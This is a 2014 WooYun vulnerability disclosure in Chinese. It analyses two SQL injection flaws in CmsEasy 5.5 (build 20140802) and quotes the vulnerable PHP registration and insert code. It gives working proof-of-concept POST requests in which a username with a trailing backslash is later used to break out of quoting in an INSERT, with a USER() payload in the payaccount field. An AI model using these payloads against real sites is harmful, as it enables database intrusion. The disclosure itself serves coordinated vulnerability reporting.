当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(6) 关注此漏洞

缺陷编号: WooYun-2014-70858

漏洞标题: CmsEasy最新版5.5_UTF-8_20140802两处SQL注入(指哪补哪的后果)

相关厂商: cmseasy

漏洞作者: xfkxfk认证白帽子

提交时间: 2014-08-03 23:28

公开时间: 2014-11-01 23:30

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 安全意识不足 php源码审核 php源码分析 白盒测试 安全意识不足

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-03: 细节已通知厂商并且等待厂商处理中
2014-08-04: 厂商已经确认,细节仅向厂商公开
2014-08-07: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-09-28: 细节向核心白帽子及相关领域专家公开
2014-10-08: 细节向普通白帽子公开
2014-10-18: 细节向实习白帽子公开
2014-11-01: 细节向公众公开

简要描述:

CmsEasy官方8.2号,更新了CmsEasy_5.5_UTF-8_20140802.rar
并且发布了补丁CmsEasy_for_Uploads_20140802.rar
然后,下载了个最新的包,看了下,发现一处问题
这个问题打过补丁了,但是还是能从其他地方进行注入

详细说明:

首先来看看union_act.php:

code 区域
function register_action() {
$r = $this->_union->getrow(array('userid'=>$this->view->data['userid']));
if($r) {
echo '<script type="text/javascript">alert("'.lang('你已经申请,转入联盟页面!').'")</script>';
front::refresh(url::create('union/stats'));
}
if(front::post('submit')) {
if(!config::get('reg_on')) {
front::flash(lang('网站已经关闭注册!'));
return;
}
if(config::get('verifycode')) {
if(!session::get('verify') ||front::post('verify')<>session::get('verify')) {
front::flash(lang('验证码错误!'));
return;
}
}
if(front::post('nickname') != strip_tags(front::post('nickname'))
||front::post('nickname') != htmlspecialchars(front::post('nickname'))
) {
front::flash(lang('姓名不规范!'));
return;
}
if(strlen(front::post('nickname'))<4) {
front::flash(lang('请填写认真填写真实姓名!'));
return;
}
if(strlen(front::post('payaccount'))<1) {
front::flash(lang('请填写支付账号!'));
return;
}
if(strlen(front::post('tel'))<1) {
front::flash(lang('请填写联系电话!'));
return;
}
if(strlen(front::post('address'))<1) {
front::flash(lang('请填写联系地址!'));
return;
}
if(strlen(front::post('website'))<1) {
front::flash(lang('请填写网站地址!'));
return;
}
/*if(strlen(front::post('e_mail'))<1) {
front::flash(lang('请填写邮箱!'));
return;
}*/
if(is_array($_POST)){
foreach ($_POST as $v){
if(preg_match('/(select|load_file|\[|password)/i', $v)){
exit('not access');
}
}
}
$userarr = array();
$userarr['nickname'] = front::$post['nickname'];
$userarr['tel'] = front::$post['tel'];
$userarr['address'] = front::$post['address'];
//$userarr['e_mail'] = front::$post['e_mail'];
$unionarr = array();
$unionarr['userid'] = $this->view->data['userid'];
$unionarr['username'] = $this->view->data['username'];
$unionarr['payaccount'] = front::$post['payaccount'];
$unionarr['website'] = front::$post['website'];
$unionarr['profitmargin'] = union::getconfig('profitmargin');
$unionarr['regtime'] = time();
$unionarr['regip'] = front::ip();
$unionarr['passed'] = 1;
if(front::post('nickname') &&$this->view->data['userid']) {
$insert=$this->_user->rec_update($userarr,'userid='.$this->view->user['userid']);
$insert1 = $this->_union->rec_insert($unionarr);
if($insert &&$insert1) front::flash(lang('申请成功!'));
else {
front::flash(lang('申请失败!'));
return;
}
front::redirect(url::create('union/stats'));
exit;
}
else {
front::flash(lang('申请失败!'));
return;
}
}
}



注意这里:

$insert1 = $this->_union->rec_insert($unionarr);

我们来看看rec_insert的处理:

code 区域
function rec_insert($row) {
$tbname=$this->name;
$sql=$this->sql_insert($tbname,$row);
return $this->query_unbuffered($sql);
}

function sql_insert($tbname,$row) {
$sqlfield='';
$sqlvalue='';
foreach ($row as $key=>$value) {
if (in_array($key,explode(',',$this->getcolslist()))) {
$value=$value;
$sqlfield .= $key.",";
$sqlvalue .= "'".$value."',";
}
}
return "INSERT INTO `".$tbname."`(".substr($sqlfield,0,-1).") VALUES (".substr($sqlvalue,0,-1).")";
}



最后直接进入INSERT INTO,进入SQL语句



我们来看看$this->view->data['username']这个内容是什么

还是union_act.php文件:

code 区域
function init() {
if(!union::getconfig('enabled')) {
echo '<script type="text/javascript">alert("'.lang('推广联盟未开启,转让会员中心!').'")</script>';
front::refresh(url::create('user/index'));
}
$user='';
if(cookie::get('login_username') &&cookie::get('login_password')) {
$user=new user();
$user=$user->getrow(array('username'=>cookie::get('login_username')));
}
if(!is_array($user) &&front::$act != 'into'&&front::$act != 'login'&&front::$act != 'register'&&front::$act != 'login_js'&&front::$act != 'login_success'&&front::$act != 'getpass'&&front::$act != 'edit'){
front::redirect(url::create('user/login'));
}else{
if (is_array($user) && cookie::get('login_password') == front::cookie_encode($user['password'])) {
$this->view->user = $user;
$this->view->usergroupid = $user['groupid'];
$obj = new usergroup();
$this->roles = $obj->getrow(array('groupid'=>$this->view->usergroupid));
}
}
$this->_user=new user;
$this->view->form = $this->_user->get_form();
$this->view->field = $this->_user->getFields();
$this->view->primary_key=$this->_user->primary_key;
$this->view->data = $this->view->user;
$this->_union = new union();
$this->view->uniondata = $this->_union->getrow(array('userid'=>$this->view->data['userid']));
if(!$this->view->uniondata &&front::$act != 'register'&&front::$act != 'into') {
echo '<script type="text/javascript">alert("'.lang('未申请账号,转入联盟申请页面!').'");window.location.href="'.url::create('union/register').'";</script>';
//front::refresh(url::create('union/register'));
}
$this->_pagesize=config::get('manage_pagesize');
}





注意这几处关系:

$user=$user->getrow(array('username'=>cookie::get('login_username')));

$this->view->user = $user;

$this->view->data = $this->view->user;

所以由上面三处赋值关系可以看到

$this->view->data就是当前登录用户的用户属性信息。

所以到这里我们来想一想:

要是这里的用户属性信息就是$this->view->data的内容再进入SQL语句时,能带入单引号’或者反斜杠\,那么就可能导致SQL注入。

带着这个问题,我们来看看$this->view->data即用户属性信息是如何存进数据库的,能不能带入特殊符号进入。



这里就要注册时,带入\即可

但是最新版在user_act.php中进行了处理:

code 区域
if(front::post('username') &&front::post('password')) {
$username=front::post('username');
$username=str_replace('\\', '', $username);
$password=md5(front::post('password'));
$e_mail=front::post('e_mail');
$tel=front::post('tel');



把\\给替换为空了,导致无法直接带入\



但是这里还有一个respond_action函数:

code 区域
function respond_action() {
ini_set("display_errors","On");
$classname = front::$get['ologin_code'];
if(front::post('regsubmit')) {
if(!config::get('reg_on')) {
front::flash(lang('网站已经关闭注册!'));
return;
}
if(front::post('username') != strip_tags(front::post('username'))
||front::post('username') != htmlspecialchars(front::post('username'))
) {
front::flash(lang('用户名不规范!'));
return;
}
if(strlen(front::post('username'))<4) {
front::flash(lang('用户名太短!'));
return;
}
if(front::post('username') &&front::post('password')) {
$username=front::post('username');
$password=md5(front::post('password'));
$data=array(
'username'=>$username,
'password'=>$password,
'groupid'=>101,
'userip'=>front::ip(),
$classname=>session::get('openid'),
);
if($this->_user->getrow(array('username'=>$username))) {
front::flash(lang('该用户名已被注册!'));
return;
}
$insert=$this->_user->rec_insert($data);
$_userid = $this->_user->insert_id();
if($insert){
front::flash(lang('注册成功!'));
}else {
front::flash(lang('注册失败!'));
return;
}
$user=$data;
cookie::set('login_username',$user['username']);
cookie::set('login_password',front::cookie_encode($user['password']));
session::set('username',$user['username']);
front::redirect(url::create('user'));
exit;
}
}



这里同样可以注册,而且没有过滤username,注册更简单,并且可带入反斜杠\

可以看到这里的用户名username直接赋给了cookie[login_username]

code 区域
所以通过上面的分析与测试得出结论:
1、 注册一个用户,用户名中带反斜杠,如:222222\;
2、 登陆后,此用户的用户名进入cookie[login_username];
3、 在会员中心,推广联盟,注册用户时,根据cookie[login_username]取出当前用户的信息,如userid,username等,直接赋给$this->view->data;
4、 在注册时,没有处理$this->view->data[‘username’],$this->view->data[‘username’]直接进入INSERT INTO SQL语句;
5、 由于用户名username中有反斜杠’\’,进入SQL语句后导致反斜杠与其后的单引号“’”结合,使单引号失效,导致SQL注入,如:’userid’,’username\’,’website’,所以最后这里的website逃逸了单引号保护,导致SQL语句执行。





第二处SQL注入在guestbook_act.php文件

同样的原理,就不在详细分析

在留言时,抓包,修改content的值即可



具体分析可见:http://**.**.**.**/bugs/wooyun-2014-067526

由register_action引起的漏洞分析

漏洞证明:

1、注册:

code 区域
链接:
http://localhost/CmsEasy_5.5_UTF-8_20140802//index.php?case=user&act=respond

POST:
ologin_code=&username=222222%5C&password=222222&password2=222222&regsubmit=+%E7%99%BB%E9%99%86+



2、登陆:

这里登陆也是用这个接口登陆

code 区域
链接:
http://localhost/CmsEasy_5.5_UTF-8_20140802//index.php?case=user&act=respond

POST:
ologin_code=&username=222222%5C&password=222222&submit=+%E7%99%BB%E9%99%86+



3、注册推广联盟:

然后抓包,修改payaccount的值

code 区域
链接:
http://localhost/CmsEasy_5.5_UTF-8_20140802//index.php?case=union&act=register

POST:
nickname=111111&payaccount=,222222,USER(),2,1111111,1111111,11)#&tel=111111&e_mail=111111%**.**.**.**&address=111111&website=111111&verify=tjfv&submit=+%E7%94%B3%E8%AF%B7+



然后看看数据库执行记录:

code 区域
INSERT INTO `cmseasy_union`(userid,username,payaccount,website,profitmargin,regtime,regip,passed) VALUES ('5','222222\',',222222,USER(),2,1111111,1111111,11)#','111111','2','1407051889','**.**.**.**','1')



111.png



4、修改资料:

code 区域
http://localhost/CmsEasy_5.5_UTF-8_20140802//index.php?case=union&act=edit&manage=union



即可看到结果:

2.png

修复方案:

话说上一个漏洞为啥才给中危?!

在register_action里处理了,但是没在respond_action处理

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-08-04 06:56

厂商回复:

感谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
50%
0%
0%
0%
50%

评价

  1. 2014-11-03 00:04 | saber ( 路人 | Rank:8 漏洞数:2 | 我只是一个人走了太久,久到习惯了一个人。)
    0

    壮哉大xfk,咋看还以为是10月初那两天时候弄得。。。

登录后才能发表评论,请先 登录